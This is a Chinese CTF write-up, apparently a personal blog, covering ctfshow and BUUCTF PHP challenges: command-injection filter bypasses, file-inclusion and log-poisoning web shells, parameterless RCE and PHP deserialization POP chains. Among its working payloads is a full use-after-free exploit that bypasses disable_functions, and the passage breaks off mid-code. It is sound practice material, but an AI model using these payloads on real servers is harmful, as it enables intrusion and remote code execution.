这里的1表示stdout标准输出,系统默认值是1,因此 > 前面没有值的时候就是默认标准输出 1>
这里的2表示stderr标准错误
&表示等同于的意思
在这里这个语句的意思就表示2的输出重定向等同于1,即标准错误输出重定向等同于标准输出
因为之前标准输出已经重定向到空设备文件,左移标准错误输出也重定向到空设备文件

这整一句话的意思是:让所有输出流(不管你是对的还是错的)都重定向到空设备文件中丢弃掉

所以关键就是不能让后面这个重定向执行下去就行

构造payload:

1
2
3
4
5
c=tac flag.php||	
c=tac flag.php%0a // %0a是url编码,表示的是换行
c=tac flag.php%26 // %26是url编码,表示的是&符

此外,php版本小于5的时候因为php的底层是C,所以截断有另外的%00可以使用

要注意的是在url中表示分隔查询参数,浏览器不会对其编码,如果要传输此字符需手动编码

1
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c))

过滤数字的时候不代表过滤了url编码%09这样的,因为解码后不属于数字,这里%09也不受%过滤的影响

web50

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

0x26是&的16进制,0x09是%09的16进制,两个都被过滤

payload:

1
2
3
?c=nl<fl''ag.php||
?c=nl<fl''ag.ph''p||
?c=tac<>fl''ag.php||

字符串中间加两个单引号,在执行的时候会忽略,命令也可以

web52

1
?c=cp$IFS/fla?$IFS/var/www/html/b.txt||

flag在根目录,复制到默认的网页目录var/www/html,也可以pwd查看目录确定一下

web54

1
?c=mv${IFS}fla?.php${IFS}z.txt

web55

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
?>

这种过滤了大小写字母(或者还有数字),但是保留了点和问号就可以尝试这种姿势

不写了,这篇文章讲得很清楚

https://blog.csdn.net/qq_40345591/article/details/127791317

image-20231112202231149

image-20231112202139950

要注意的是%20,@-[,不要写]

web57

1
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

1
c=echo file_get_contents("flag.php");

web60

法一:

1
2
c=highlight_file('flag.php'); 
c=show_source('flag.php');

法二:

1
2
c=include $_GET[1];
?1=php://filter/read=convert.base64-encode/resource=flag.php

法三:

1
2
c=include 'flag.php';echo $flag;
c=include('flag.php');echo $flag;

法四:

1
c=include('flag.php');var_dump(get_defined_vars());

包含了flag.php,那么 $flag变量就会被注册进去

image-20231112230712077

法五:

1
c=rename("flag.php","1.txt");  //然后访问1.txt

法六:虽然这题被过滤,但是可以积累一下

curl实现get和post:https://www.php.cn/c10-1.html

1
2
3
4
5
6
7
8
9
10
11
12
//初始化
  $ch = curl_init();
  //设置选项,包括URL
  curl_setopt($ch, CURLOPT_URL, "http://www.learnphp.cn");
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  //执行并获取HTML文档内容
  $output = curl_exec($ch);
  //释放curl句柄
  curl_close($ch);
  //打印获得的数据
  print_r($output);

利用:修改"http://www.learnphp.cn"

1
c=$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "file:///var/www/html/flag.php");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);$output = curl_exec($ch);curl_close($ch);print_r($output);

image-20231112234238787

被过滤了

web66

1
c=highlight_file('flag.php');

image-20231112234746414

1
c=var_dump(scandir('.'));

image-20231112234828265

1
c=var_dump(scandir('../../../'));

image-20231112234920206

1
c=highlight_file('/flag.txt');

ctfshow{45196993-0443-457f-912f-ce1bbb25c890}

web71

下载题目附件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
error_reporting(0);
ini_set('display_errors', 0);
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents(); //获取输出缓冲区的内容
ob_end_clean(); //清空缓冲区
echo preg_replace("/[0-9]|[a-z]/i","?",$s); //替换为问号'?'
}else{
highlight_file(__FILE__);
}

?>

这样会导致我们得到的数据变成无法识别的问号

image-20231120214646113

payload:

1
c=include("/flag.txt");exit(); 

web72

用上一题的payload试一试

1
c=include("/flag.txt");exit(); 

image-20231120215859623

没有那个文件,我们扫描一下

1
2
c=var_dump(scandir('/'));
c=$a=scandir('/');

image-20231120220006750

1
c=var_dump(scandir('/'));exit();

image-20231120220033245

var_dump被禁用,并且还有open_basedir限制读取目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

image-20231123213548451

web73

由于存在open_basedir配置的限制,无法使用scandir函数列出目录信息,可以使用glob协议绕过open_basedir的限制

1
2
3
4
5
6
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit(0);  #扫描根目录有什么文件
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->getFilename()." ");} exit(0);
c=include('/flagc.txt');exit(0);
c=require('/flagc.txt');exit(0);
c=include_once('/flagc.txt');exit(0);
c=require_once('/flagc.txt');exit(0);

另一种读取文件的方法:

1
2
3
4
5
6
7
$a = "glob:///*.txt";
if ( $b =opendir($a) ){
while ( ($file = readdir($b)) !== false ){
echo "filename:".$file."\n";
}
closedir($b);
}exit();

他们的共同点是使用了glob://伪协议来读取文件

web 75

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->getFilename()." ");} exit(0);
1
c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit(); 

web77

1
2
3
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);exit();

web79

法一:

1
?file=data://text/plain,<?= system("ls /"); ?>
1
?file=data://text/plain,<?= system("tac ./flag.*"); ?>

法二:

1
2
?file=data://text/plain,<?= eval($_POST[1]); ?>
post:1=system("tac flag.php");

image-20231126145455076

web80

1
2
3
文件头写入:User-Agent:<?php eval($_POST[1]); ?>
?file=/var/log/nginx/access.log
post:1=system("tac ./fl0g.php");

通过将恶意代码写入日志,再包含日志,传入参数,执行

[GXYCTF2019]Ping Ping Ping 1

/?ip=127.0.0.1;ls

1
2
3
4
5
6
/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php

也可以/?ip=127.0.0.1|ls

1
2
3
4
5
/?ip=

flag.php
index.php

/?ip=127.0.0.1;tac flag.php

1
/?ip= fxck your space!

看来空格被过滤了

?ip=127.0.0.1;cat${IFS}flag.php

1
/?ip= 1fxck your symbol!

/?ip=127.0.0.1;cat$IFS$1flag.php

1
/?ip= fxck your flag!

发现flag也被过滤了
过滤了这么多,现在就先去看看index.php

/?ip=127.0.0.1;cat$IFS$1index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "

";
print_r($a);
}

?>

过滤了:

1
2
& / ? * < x{00}-\x{1f} ' " \ () [] {}  空格
"xxxfxxxlxxxaxxxgxxx" " " "bash"

1、简单变量替换,覆盖拼接flag
/?ip=127.0.0.1;a=l;tac$IFS$9f$aag.php

/?ip=127.0.0.1;b=ag.php;a=fl;tac$IFS$9$a$b

2、内联执行
反引号在linux中作为内联执行,就是将反引号内命令的输出作为输入执行

1
/?ip=127.0.0.1;tac$IFS$9`ls`

能当做system一样执行ls命令,ls的结果为flag.php和index.php
所以意思为:
?ip=127.0.0.1;tac flag.php index.php

ps:cat和tac的区别:tac命令与cat命令展示内容相反,用于将文件以行为单位的反序输出,即第一行最后显示,最后一行先显示,且不能带行输出。cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来

1、call_user_func_array()

call_user_func_array(callable $callback, array $args): mixed
把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入

$_SERVER['SERVER_ADDR']:当前运行脚本所在的服务器的 IP 地址
$_SERVER['HTTP_X_FORWARDED_FOR']:客户端 IP 地址或者是代理
Nmap -oG 将命令和结果写入文件

1
2
3
4
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

escapeshellarg()+escapeshellcmd()之殇
传入参数:127.0.0.1’ -v -d a=1
经过escapeshellarg()函数处理后变为:'127.0.0.1'\'' -v -d a=1',也就是将其中的’单引号转义,再用单引号将内容包含起来
处理完的字符串再通过escapeshellcmd()函数的处理,变成:'127.0.0.1'\\'' -v -d a=1\',因为escapeshellcmd()函数对\以及最后的未闭合的’进行了转义
由于两次函数的处理,最终参数可简化成:127.0.0.1\ -v -d a=1',因为包围127.0.0.1的单引号产生了闭合,\\被解释为\,中间的两个单引号’’完成了闭合,最终留下了a=1’,也就是末尾的单引号

两边加上单引号' <?php @eval($_POST["hack"]);?> -oG hack.php '可绕过

preg_replace()的/e模式存在命令执行漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}

固定解题格式: \S*=${}
?\S*=${getFlag()}&cmd=system('cat /flag');

[ZJCTF 2019]NiZhuanSiWei

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
姿势一:使用php://input伪协议通过post传参需要注意请求包的类型是post

姿势二:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= // d2VsY29tZSB0byB0aGUgempjdGY= 解码后为 -----> welcome to the zjctf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php  

class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
__tostring()方法在题目中
$password = unserialize($password);
echo $password; //触发魔术方法

X-Requested-With: XMLHttpRequest//通常在发送 XMLHttpRequest 对象发起 AJAX 请求时
AJAX 请求:使用指一种创建交互式、快速动态网页应用的网页开发技术,好像和xml有关

python dirsearch.py -u http://f921948c-4523-4885-a45b-936776836ace.node4.buuoj.cn:81/ -e.php
python dirsearch.py -u URL -e.php
要有F12查看源代码查找flag的好习惯
$a = json_decode($_GET['json'],true);
返回一个json数据格式解码后的关联数组
json = {“x”:”wllm”}解码后就是

无参rce

方法一:利用scandir()

扫描当前目录内容

1
?c=print_r(scandir(pos(localeconv()))); 

localeconv可以返回包括小数点在内的一个数组;pos去取出数组中当前第一个元素,也就是小数点。

可以看到当前目录下有flag.php。

image-20231103210617480

通过array_reverse把数组逆序,通过next取到第二个数组元素,也即flag.php 然后

1
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
1
2
3
4
5
6
highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."

image-20231103210652828

读取当前目录倒数第一位文件:

1
2
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

getcwd() 函数用于获取当前工作目录的路径(当前工作目录是指PHP脚本正在执行的目录)。这个函数不需要任何参数,直接调用即可

读取当前目录倒数第二位文件:

1
2
?exp=show_source(next(array_reverse(scandir(getcwd()))));
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

随机返回当前目录文件:

1
2
3
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

扫描上一级目录:

1
2
3
print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));

dirname() 函数用于返回指定路径的目录部分。它会返回给定路径的父目录路径

读取上级目录文件:

1
2
3
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

查看和读取根目录文件:

所获得的字符串第一位有几率是/,需要多试几次

1
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

payload解释:
● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
● dirname(chdir(dirname()))配合切换文件路径

方法二:利用session_id()

1
2
3
4
5
6
7
8
9
法一:
?exp=highlight_file(session_id(session_start()));
请求头:
Cookie: PHPSESSID=flag.php

法二 :
?exp=eval(hex2bin(session_id(session_start())));
Cookie: PHPSESSID=706870696e666f28293b //为什么要编码,因为PHPSESSID不允许括号
(706870696e666f28293b为phpinfo();的十六进制编码)

在[GXYCTF2019]禁止套娃1中过滤掉了hex,但是我们已知flag.php是我们要读取的,所以直接法一即可

session_start()开启session服务,session_id()读取参数内容,hex2bin使16进制转换为字符串,因为SESSIONID只能为字母和数字

image-20231123211213371

方法三:利用get_defined_vars()

1
?c=print_r(get_defined_vars());   //var_dump

get_defined_vars()是一个 PHP 函数,用于获取当前作用域中已定义的所有变量的列表,并将它们存储在一个关联数组中

image-20231104001910198

也可以右键源代码更加直观

image-20231112230337261

1
post传参:1=phpinfo();

image-20231104002343239

我们可以将数组弹出,来间接获取我们想要的payload,从而达到绕过。

1
?c=print(array_pop((next((get_defined_vars())))));

image-20231104003019833

我们这里也是直接将post传参改成我们需要的了

image-20231104003059244

直接配合嵌套eval函数

逻辑是内层eval执行返回system("cat flag.php");,然后外层eval执行

1
2
?c=eval(array_pop((next((get_defined_vars())))));
?c=eval(array_pop((current((get_defined_vars())))));

current() 函数用于返回数组中的当前元素的值

image-20231104003153294

需要注意的是方法二和方法三都要用到嵌套eval才能执行

方法四:利用getallheaders()

getallheaders()返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串。implode()能够直接将getallheaders()返回的数组转化为字符串

image-20231123210800598

可以看到获取到的头信息被当作字符串输出了,且是从最后开始输出(由于php版本不同,输出顺序也可能不同),那么我们就可以在最后随意添加一个头,插入我们的恶意代码并将后面的内容注释掉。

image-20231123210811018

payload:

1
?exp=eval(implode(getallheaders()));

参考文章:

使用无参数函数进行命令执行

[GXYCTF2019]禁止套娃1(两种方法)

无参数RCE总结

全:

无参数RCE绕过的详细总结(六种方法)

php反序列化

Posted on 2023-04-08

序列化的作用

序列化是将对象的状态信息(属性)转换为可以存储或输出的形式的过程,php就是将对象或者数组转化为可存储/传输的字符串

常见序列化格式

类型 示例 格式
空字符 null N;
整形 666 i:666;
浮点型 66.6 d:66.6;
boolean型 true b:1;
false b:0;
字符串 ‘benben’ s:6:”benben”;

数组

1
2
3
4
5
<?php
$a=array('benben','dazhuang','laoliu');
echo serialize($a);
?>
输出:a:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}

a指的是array,3是数组的成员数量,i后面的数字是数组成员编号
下面重点讲解对象的序列化

对象的序列化

1
2
3
4
5
6
7
8
9
10
<?php
class test{
public $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a=new test();
echo serialize($a);
?>

序列化的是对象而不是类,对象是类的实例化

1
2
O(object):4(类名长度):"test"(类名):1(变量数量):{s:3(变量名字长度):"pub"(变量名字);s:6(值的长度):"benben"(变量值);}
O:4:"test":1:{s:3:"pub";s:6:"benben";}

默认只会序列化成员属性,不会序列化成员函数
注意:1、当成员属性是private私有属性序列化时在变量名前加”%00类名%00”,但空格在生成的poc中会变成小方块,所以在序列化时经常使用:

1
echo urlencode(serialize($value));

进行url编码,使空格显示为%00

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
private $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a=new test();
echo serialize($a);
?>
序列化后:O:4:"test":1:{s:9:"testpub";s:6:"benben";}

2、成员属性是protected受保护的进行序列化时在变量名前加”%00*%00”,变量名字长度同样要改变

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
private $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a=new test();
echo serialize($a);
?>
序列化后:O:4:"test":1:{s:6:"*pub";s:6:"benben";}

3、成员属性调用实例化后的对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test{
private $pub='benben';
function jineng(){
echo $this->pub;
}
}
class test2{
var $ben;
}
$b=new test();
$a=new test2();
$a->ben=$b;
echo serialize($a);
?>
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}

反序列化漏洞的成因

首先需要知道的是发序列化生成的对象里的成员属性值是由反序列化里的值提供的,于原来类预定义的值无关。那么漏洞成因就是在反序列化过程中unserialize的字符串可控,通过更改这个字符串,反序列化后就可以得到所需要的代码,即生成的对象的属性值
做反序列化的题目,我们需要知道的是反序列化不改变类的成员方法,需要调用方法后才能触发

反序列化中常见的魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
_construct() //实例化对象
__destruct() //对象引用完成或对象被销毁反序列化之后
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
__get() //调用的成员属性不存在
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发

_destruct()触发
1、实例化对象,因为对象被创建最后用完一定会被销毁
2、反序列化,因为反序列化那串字符串后如果是个对象,一样后面会被销毁

计算机漏洞安全相关的概念POC 、EXP 、VUL 、CVE 、0DAY

https://blog.csdn.net/qq_37622608/article/details/88048847

字符串逃逸基础

在前面字符串没有问题的情况下,反序列化以;}结束,后面的字符串不影响正常的反序列化

属性逃逸

一般在数据先经过一次serialize在经过unserialize,在这个中间反序列化的字符串变多或者变少的时候才有可能存在反序列化属性逃逸

字符减少和字符增加

wakeup绕过

在反反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
影响版本
php5.0.0 ~ php5.6.25
php7.0.0 ~ php7.0.10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

highlight_file(__FILE__);
class A{
private $filename = 'test.txt';

public function __wakeup() {
$this->filename = 'test.txt';
}

public function __destruct() {
echo file_get_contents($this->filename);
}

}

$data = $_GET['data'];
unserialize($data);

php语言的特性为在反序列化时,先执行__wakeup()魔术方法,才会执行__destruct()魔术方法
也就是说当我们使用payload

1
2
3
4
class A{
private $filename = 'flag.php';
}
echo urlencode(serialize(new A()));

反序列化时修改的$filename的值在__wakeup()函数时由flag.php修改为了test.txt
绕过__wakeup()函数时将对象属性个数的值大于真实的属性个数时即可绕过
即O%3A1%3A%22A%22%3A1%3A%7Bs%3A11%3A%22%00A%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D只需要将对象个数大于1即可,2,3,4等等都行

引用的利用方式

session反序列化漏洞

当session_start()被调用或者php.ini中的session.auto_start为1时,PHP内部调用会话管理器,访问用户被序列化以后,储存到指定目录(默认为/tmp)
存取数据的格式有多种,常用的有三种
漏洞产生:写入格式和读取格式不一致

默认情况下用php格式储存

1
2
3
4
5
6
<?php
session_start();
$_SESSION['benben']=$_GET['ben'];
?>
?ben=dazhuang
benben|s:8:"dazhuang";

php:键名+竖线+经过serialize()函数序列化处理的值

声明session存储格式为php_serialize

1
2
3
4
5
6
7
8
<?php
ini_set('session.serialize_hander','php_serialize');
session_start();
$_SESSION['benben']=$_GET['ben'];
$_SESSION['b']=$_GET['b'];
?>
?ben=dazhuang&b=666
a:2:{s:6:"benben";s:8:"dazhuang";s:1:"b";s:3:"666";}

php_serialize:经过serialize()函数序列化处理的数组

php反序列化例题:只截取其中的反序列化部分

[极客大挑战 2019]PHP 1

index.php中,文件包含class.php,下面对传入的参数进行反序列化,那么因为包含class.php,所以会触发里面的魔术方法

1
2
3
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);

class.php中,包含文件flag.php,所以有机会读取到从中读取到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

构造pop链的关键在于wake_up的绕过

1
2
3
4
5
6
7
8
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$a=new Name();
echo urlencode(serialize($a));
?>
1
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

[NISACTF 2022]popchains

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Road_is_Long{
public $page;
public $string;

}

class Try_Work_Hard{
protected $var='php://filter/read=convert.base64-encode/resource=/flag';

}

class Make_a_Change{
public $effort;
}
$b=new Try_Work_Hard();
$c=new Make_a_Change();
$a=new Road_is_Long();
$c->effort=$b;
$a->string=$c;
$a->page=$a;
echo urlencode(serialize($a));
?>

这题非常常规,就是魔术方法跳来跳去

[网鼎杯 2020 青龙组]AreUSerialz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
 <?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
